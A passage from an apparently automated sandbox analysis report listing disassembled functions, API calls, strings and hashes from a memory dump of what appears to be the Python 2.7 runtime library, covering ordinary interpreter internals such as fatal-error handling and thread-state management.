Opcode Fuzzy Hash: 386e0e0d9a48083e14e5e1e4a4e71137597cb19f09d113f3b84cab19154a3d89
Instruction Fuzzy Hash: 03E0E5A6D54208238A0066ADEC02997335C8B2523DF044BA6FC2CDBF81FA51F92086E6

Function 6C1AE540 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Py_FatalError.PYTHON27(PyEval_RestoreThread: NULL tstate,?,?,6C1C67F6,00000000,00000000,00000000,?,?,6C1CA352,__builtin__,00000000,00000000,00000000,00000000), ref: 6C1AE550

Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E1440
Part of subcall function 6C1E1420: fprintf.MSVCR90 ref: 6C1E1446
Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E144C
Part of subcall function 6C1E1420: fflush.MSVCR90 ref: 6C1E1452
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32 ref: 6C1E149C
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
Part of subcall function 6C1E1420: abort.MSVCR90 ref: 6C1E14A5

_errno.MSVCR90 ref: 6C1AE569
_errno.MSVCR90 ref: 6C1AE585

Strings

PyEval_RestoreThread: NULL tstate, xrefs: 6C1AE54B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DebugOutputString$__iob_func_errno$ErrorFatalabortfflushfprintf
String ID: PyEval_RestoreThread: NULL tstate
API String ID: 2486884445-2925922187
Opcode ID: abe63db0889efd2d7bb35fcb257981e56288530794e0d60d2fd9c4b186e40f84
Instruction ID: dc4586ca6a078345763b2c4d6ebcb8d11400575aa8e4878cea797be2e05b3683
Opcode Fuzzy Hash: abe63db0889efd2d7bb35fcb257981e56288530794e0d60d2fd9c4b186e40f84
Instruction Fuzzy Hash: 09F02739600108ABDF015F9EEC40A4577BCEF89278B240136D914D3350E731ED158BE1

Function 6C1AE4E0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

Py_FatalError.PYTHON27(PyEval_SaveThread: NULL tstate,00000000,6C1C67DA,00000000,00000000,?,?,6C1CA352,__builtin__,00000000,00000000,00000000,00000000), ref: 6C1AE4FA

Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E1440
Part of subcall function 6C1E1420: fprintf.MSVCR90 ref: 6C1E1446
Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E144C
Part of subcall function 6C1E1420: fflush.MSVCR90 ref: 6C1E1452
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32 ref: 6C1E149C
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
Part of subcall function 6C1E1420: abort.MSVCR90 ref: 6C1E14A5

InterlockedDecrement.KERNEL32(?), ref: 6C1AE516
SetEvent.KERNEL32(?,?,?,6C1CA352,__builtin__,00000000,00000000,00000000,00000000), ref: 6C1AE524

Strings

PyEval_SaveThread: NULL tstate, xrefs: 6C1AE4F5

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DebugOutputString$__iob_func$DecrementErrorEventFatalInterlockedabortfflushfprintf
String ID: PyEval_SaveThread: NULL tstate
API String ID: 3971291581-2054007492
Opcode ID: 0a5e5189f7f4df2c546697e1e5644afb2a1bf72b8b7760011e8fa5d9110a8dd8
Instruction ID: 955b0cd97217fde9c5701c60e99109ce2da4a0aa91cd33758e81b40278591d33
Opcode Fuzzy Hash: 0a5e5189f7f4df2c546697e1e5644afb2a1bf72b8b7760011e8fa5d9110a8dd8
Instruction Fuzzy Hash: F2E06D79701111ABDF508BA9B908B86BBFCAB49765F058018F904D3700E334D95687A1

Function 6C1D0730 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C1D0697,00000000), ref: 6C1D0746
TlsSetValue.KERNEL32(?,6C1D0697,?,6C1D0697,00000000), ref: 6C1D0755
Py_FatalError.PYTHON27(Couldn't create autoTLSkey mapping,?,6C1D0697,00000000), ref: 6C1D0764

Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E1440
Part of subcall function 6C1E1420: fprintf.MSVCR90 ref: 6C1E1446
Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E144C
Part of subcall function 6C1E1420: fflush.MSVCR90 ref: 6C1E1452
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32 ref: 6C1E149C
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
Part of subcall function 6C1E1420: abort.MSVCR90 ref: 6C1E14A5

Strings

Couldn't create autoTLSkey mapping, xrefs: 6C1D075F

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DebugOutputString$Value__iob_func$ErrorFatalabortfflushfprintf
String ID: Couldn't create autoTLSkey mapping
API String ID: 3273730768-18693100
Opcode ID: 28e82ec437a65245d805d449f7728198d9c0d16b050537745ba4d1d8708be25a
Instruction ID: 49c4a112c1ec8902d1b4419ee6d3caf00441e8ab8b08f9178cae93f03aeb208a
Opcode Fuzzy Hash: 28e82ec437a65245d805d449f7728198d9c0d16b050537745ba4d1d8708be25a
Instruction Fuzzy Hash: 07E092312002507BCA21AB969D4CF973FBCAB86798F450028F905C6600E339A485CB91

Function 6C13EF60 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

Py_FatalError.PYTHON27(non-string found in code slot,?,?,6C13F1C4), ref: 6C13EF84
PyString_InternInPlace.PYTHON27(?,6C13F1C4), ref: 6C13EF8D

Strings

h-l, xrefs: 6C13EF76
non-string found in code slot, xrefs: 6C13EF7F

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: ErrorFatalInternPlaceString_
String ID: h-l$non-string found in code slot
API String ID: 3605443080-2402654988
Opcode ID: 63d0cad0e432478fc8fb00532426eb7b57959f5e110c9403194ae18d867e3456
Instruction ID: e64af41ebfad896590580f85245101b3fa562eb139ab4acb596dd74c0e595671
Opcode Fuzzy Hash: 63d0cad0e432478fc8fb00532426eb7b57959f5e110c9403194ae18d867e3456
Instruction Fuzzy Hash: 3BE0DF339013300BA200472CAC00BABB7A95F9022C70741A9DC2DE7B25DB70EE8A81D2

Function 6C0B5FD0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E5248,internal error in regular expression engine), ref: 6C0B5FEA
PyErr_SetString.PYTHON27(6C2E5248,maximum recursion limit exceeded), ref: 6C0B5FFF

Strings

maximum recursion limit exceeded, xrefs: 6C0B5FF9
internal error in regular expression engine, xrefs: 6C0B5FE4

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String
String ID: internal error in regular expression engine$maximum recursion limit exceeded
API String ID: 1450464846-628104037
Opcode ID: 3d16352c0e025d0e99de9cac8271c83492b213463cd1a534460a09cbc2fd1dea
Instruction ID: 42acd1049ae898fb8a6b5623d2cddc84d871b99313b4cf4aaa9ab0c246c1b09c
Opcode Fuzzy Hash: 3d16352c0e025d0e99de9cac8271c83492b213463cd1a534460a09cbc2fd1dea
Instruction Fuzzy Hash: 8FD05E9E90362053CC11A2B8AC94F1A32A8275A63DBB40F51F838F2EE1D73AD05C8652

Function 6C0A3810 Relevance: 6.1, APIs: 4, Instructions: 149COMMON

Download Yara Rule

APIs

PySequence_List.PYTHON27(?), ref: 6C0A3825

Part of subcall function 6C12E960: PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12E985

PyObject_GetIter.PYTHON27(?), ref: 6C0A385D
PyErr_GivenExceptionMatches.PYTHON27(?,6C2E4978), ref: 6C0A3924
PyErr_Clear.PYTHON27 ref: 6C0A3930

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$ClearExceptionGivenIterListMatchesObject_Sequence_String
String ID:
API String ID: 4113104371-0
Opcode ID: 218f06eed54d0228071ba071fa5b58793e98e130b4b0873b517fec7b35353c05
Instruction ID: 59ba8bb686c4ce9fed5e48291e7cf4276cd068e5b6d3c9df198e7cfcca5a2eb9
Opcode Fuzzy Hash: 218f06eed54d0228071ba071fa5b58793e98e130b4b0873b517fec7b35353c05
Instruction Fuzzy Hash: 5F4185B6A006019BD7148EE9D880B96B3F4BB49334F14436DE9288BB81E735F957CBD1

Function 6C168F50 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

PyErr_NoMemory.PYTHON27(6C13F060,00000000,?,?,?,?,?,?,?,?,?,?,?,6C16978E,00000000,850C2444), ref: 6C168F70
malloc.MSVCR90 ref: 6C168FE3
memset.MSVCR90 ref: 6C169004
free.MSVCR90 ref: 6C169067

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Memoryfreemallocmemset
String ID:
API String ID: 3371104938-0
Opcode ID: fdf39eaf70a161a6a8f2d131936e894f207a0930d7df15e0a1b53c35393c4efb
Instruction ID: df0054bcbe5eea85b1cfec0bf0c6f2818ff0a627b086bc10e16484e365b02b86
Opcode Fuzzy Hash: fdf39eaf70a161a6a8f2d131936e894f207a0930d7df15e0a1b53c35393c4efb
Instruction Fuzzy Hash: 59311C71A002058FE710CF67D8C079AB7B9EF95328F1442AAD859C7F50E772E9A5CB90

Function 6C0AAF40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PyString_FromStringAndSize.PYTHON27(00000000,?), ref: 6C0AAF8A
_PyString_Resize.PYTHON27(?,7FFFFFFF), ref: 6C0AB010
_PyString_Resize.PYTHON27(?,00000002), ref: 6C0AB039
PyErr_NoMemory.PYTHON27 ref: 6C0AB061

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String_$Resize$Err_FromMemorySizeString
String ID:
API String ID: 1823809671-0
Opcode ID: 461fd2bc899663d6d4c01dac9ff3825c3a25ddbd50b46cf82d3d317e29ec1094
Instruction ID: d12a9e10278778dde35ac08ff5034020aeae288ed3a3b15df8e75f054a379feb
Opcode Fuzzy Hash: 461fd2bc899663d6d4c01dac9ff3825c3a25ddbd50b46cf82d3d317e29ec1094
Instruction Fuzzy Hash: 4A31D371A001199BCB10CEE5C880BDEB7F4EB49328F7042A9D42597B96D735964BCBA1

Function 6C0A9140 Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 6C0A9090: malloc.MSVCR90 ref: 6C0A90B0
Part of subcall function 6C0A9090: PyErr_NoMemory.PYTHON27 ref: 6C0A90BF

Part of subcall function 6C0A9090: fgetc.MSVCR90 ref: 6C0A90E7
Part of subcall function 6C0A9090: PyString_FromStringAndSize.PYTHON27(00000000,?), ref: 6C0A90FF
Part of subcall function 6C0A9090: free.MSVCR90 ref: 6C0A910C

PyDict_GetItem.PYTHON27(?,?), ref: 6C0A9180
PyList_New.PYTHON27(00000000), ref: 6C0A9193

Part of subcall function 6C1593A0: PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,0000007E,?,?,?,?,?,6C145BB1,?,?,?,?,6C1467DF,?), ref: 6C1593C3

PyDict_SetItem.PYTHON27(?,?,00000000), ref: 6C0A91A7
PyList_Append.PYTHON27(00000000,?), ref: 6C0A921A

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Dict_Err_ItemList_$AppendFormatFromMemorySizeStringString_fgetcfreemalloc
String ID:
API String ID: 1085706943-0
Opcode ID: a5f486c402d1547218ecd3b063dbb05f99a56bff58128d70b14961f654c9030b
Instruction ID: 5e2c6a5abe2b7677e603cebf0d16382583b067630705fa182288fbee635fcb2a
Opcode Fuzzy Hash: a5f486c402d1547218ecd3b063dbb05f99a56bff58128d70b14961f654c9030b
Instruction Fuzzy Hash: 2131A4B5E40204ABCB00DFE5DCC4A9E77F8AF05628B144368D92597782E736EE07C791

Function 6C155460 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

PyObject_GetItem.PYTHON27(?,?,?,?,?,?,6C1556D7,?,00000001,?), ref: 6C155482
PyErr_Clear.PYTHON27 ref: 6C155490
PyCell_Set.PYTHON27(00000000,00000000), ref: 6C1554AA
PyErr_Clear.PYTHON27 ref: 6C1554B6

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: ClearErr_$Cell_ItemObject_
String ID:
API String ID: 3031884619-0
Opcode ID: a288b6bd9abaf36f3841041a24922fccdaa31430cbe23dce4e7341a2d5c638b4
Instruction ID: 9d2496f144360e758b1d662b16850195267775b6eacb9c21e0f0e8969d995ca6
Opcode Fuzzy Hash: a288b6bd9abaf36f3841041a24922fccdaa31430cbe23dce4e7341a2d5c638b4
Instruction Fuzzy Hash: 32212BB19066119FCB218F94C844A9A73B4AF5072AF644365EC344B750F734FD51E7E2

Function 6C153990 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

free.MSVCR90 ref: 6C153A38

Strings

2.l, xrefs: 6C1539C2
2.l, xrefs: 6C1539D1
2.l, xrefs: 6C153A02

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: free
String ID: 2.l$2.l$2.l
API String ID: 1294909896-2413621595
Opcode ID: c367e1a16b844dfa96ce191da3d7e840bd18465d287a4615f714733ca46335fd
Instruction ID: c96460fbfceeb133d50fa0aaa0e0fe458015f7e7044c2f8206b8a14bcb63f463
Opcode Fuzzy Hash: c367e1a16b844dfa96ce191da3d7e840bd18465d287a4615f714733ca46335fd
Instruction Fuzzy Hash: F521B0F6A09204CFCB05CF5AC945745BBB8FB55318FD582AEC4659BB11D332C992CB80

Function 6C13EDC0 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(?), ref: 6C13EDCB
PyImport_Import.PYTHON27(00000000), ref: 6C13EDDB
PyObject_GetAttrString.PYTHON27(00000000,?), ref: 6C13EDFF
PyCObject_AsVoidPtr.PYTHON27(00000000), ref: 6C13EE0E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Object_String$AttrFromImportImport_String_Void
String ID:
API String ID: 372386033-0
Opcode ID: 77110e976b69f6ba44cf362bcfce5f6268fed25b6077416a713deddafba46f1d
Instruction ID: 5c803b2fe44cf7654619a80fb4415a98fd911dcc52f74b6aa6f9a137b6a57e10
Opcode Fuzzy Hash: 77110e976b69f6ba44cf362bcfce5f6268fed25b6077416a713deddafba46f1d
Instruction Fuzzy Hash: 7501C8B39016215BD2119D58AC8099B73A8AF9563C7254338E92D47B80E725EE1787D2

Function 6C14D010 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

fflush.MSVCR90 ref: 6C14D049
free.MSVCR90 ref: 6C14D05B
realloc.MSVCR90 ref: 6C14D086
setvbuf.MSVCR90 ref: 6C14D09C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: fflushfreereallocsetvbuf
String ID:
API String ID: 3621953076-0
Opcode ID: bd0ad77dfae951e7f2ef44aa8425ac26c64e5642f728ff17daf0c9826f299ee9
Instruction ID: aa9b1d6d48c8d29497ccc1394d3611c48ec61a9aa95213c9b2be28b504f53612
Opcode Fuzzy Hash: bd0ad77dfae951e7f2ef44aa8425ac26c64e5642f728ff17daf0c9826f299ee9
Instruction Fuzzy Hash: 9811C4B17002019FDF10AB79C844B1777B9EB8A31AF15C629F959D7B40C53BEC428765

Function 6C1C6770 Relevance: 6.0, APIs: 4, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C1C6784
PyThread_allocate_lock.PYTHON27(?,?,6C1CA352,__builtin__,00000000,00000000,00000000,00000000), ref: 6C1C679A
PyEval_SaveThread.PYTHON27(00000000,00000000,?,?,6C1CA352,__builtin__,00000000,00000000,00000000,00000000), ref: 6C1C67D5
PyEval_RestoreThread.PYTHON27(00000000,00000000,00000000,?,?,6C1CA352,__builtin__,00000000,00000000,00000000,00000000), ref: 6C1C67F1

Part of subcall function 6C1E79B0: InterlockedCompareExchange.KERNEL32(?,00000000,000000FF), ref: 6C1E79BF

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

